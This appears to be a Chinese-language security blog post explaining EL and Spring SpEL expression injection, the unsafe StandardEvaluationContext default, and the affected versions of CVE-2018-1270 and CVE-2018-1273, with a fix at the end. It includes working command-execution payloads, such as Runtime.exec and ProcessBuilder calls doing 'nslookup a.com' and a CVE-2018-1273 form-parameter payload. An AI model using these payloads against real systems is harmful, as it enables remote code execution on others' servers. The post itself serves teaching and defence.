Fork me on GitHub

SpEL表达式注入

参考文献:

EL语法介绍:https://www.cnblogs.com/czs1982/p/3966748.html
SpEl:http://rui0.cn/archives/1043
CVE-2018-1270:https://github.com/CaledoniaProject/CVE-2018-1270
vulhub:https://github.com/vulhub

EL:

全名为Expression Language。EL主要作用:获取数据,执行运算,获取web开发常用对象,调用Java方法。

语法:

${表达式}
举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
${userinfo.id}或${userinfo[id]}  #访问userinfo的id属性。.和[]用于访问数据,二者等价。
${userinfo.[user-name]} #当属性名含有特殊符号时,就只能使用[],而不能${userinfo.user-name}
${arrBook[0]} #(假定arrBook为数组对象),访问request范围中的数组arrBook中的第一个元素
${goodsList[0]} #(假定goodsList为List对象),访问request范围中的goodsList的第一个元素
${1+2} #+无法实现两个字符串的拼接,只能做算术运算。
${empty user1} #user1==null或者user1==""的话,都会返回true。
${sessionScope.username} #取出Session范围的username 变量

<% Cookie cookie = new Cookie("user","uuu"); #使用response对象设置一个请求有效地cookie对象。
response.addCookie(cookie); %>
${cookie.user.value} #再使用EL获取该cookie对象的值
${pageContext} #对应于JSP页面中的pageContext对象(取的是pageContext对象)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")} #获取web路径
${applicationScope} #获取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} #执行命令

SpEL:

Spring 表达式语言(简称SpEL):是一个支持运行时查询和操作对象图的强大的表达式语言。通过 SpEL 可以实现:通过 bean 的 id 对 bean 进行引用,调用方式以及引用对象中的属性,计算表达式的值,正则表达式的匹配。

语法:

#{...}

举例:

1
2
3
4
5
6
7
8
9
10
11
12
#{car}  #引用其他对象
#{car.brand} #引用其他对象的属性
#{car.toString()} #调用其它方法 , 还可以链式操作
#{T(java.lang.Math)} #使用Java的Math类
T(java.lang.Math).PI #将PI值装配到bean属性中
T(java.lang.Math).random() #计算得到一个0到1之间的随机数
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream()) #输出点回显
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

用法

Class expressions
SpEL中可以使用特定的Java类型,T()用来访问Java类型中的静态属性或静态方法。()需要包含类名的全限定名(包名加上类名)。但是,SpEL内置了java.lang包下的类声明(例如java.lang.String可以通过T(String)访问)。通过T() 调用一个类的静态方法,将返回一个 Class Object,然后再调用相应的方法或属性。

  • 需导入的jar包
  • 漏洞代码
    1
    2
    3
    ExpressionParser parser = new SpelExpressionParser(); //ExpressionParser解析表达式字符串
    Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")");//Expression表达以前定义的表达式字符串
    Object value = exp.getValue();


Variables
变量通过EvaluationContext接口setVariable(variableName, value)方法定义;在表达式中使用#variableName引用;还允许引用根对象及当前上下文对象,使用#root引用根对象,使用#this引用当前上下文对象。

1
2
3
4
5
6
7
8
9
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("abc");
context.setVariable("variable", "xyz");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1); //xyz
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2); //abc
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3); //abc

漏洞成因

在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

  • EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口
    1
    2
    * SimpleEvaluationContext:针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。
    * StandardEvaluationContext: 公开全套SpEL语言功能和配置选项。可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

两个相关的cve(直接用的大佬的vulhub里的环境。)

CVE-2018-1270
1
Spring框架版本5.0-5.0.4,4.3-4.3.15

CVE-2018-1273
1
2
3
4
5
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
更早的版本也会受到影响

Payload

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

防御

使用SimpleEvaluationContext代替StandardEvaluationContext

-------------本文结束感谢您的阅读-------------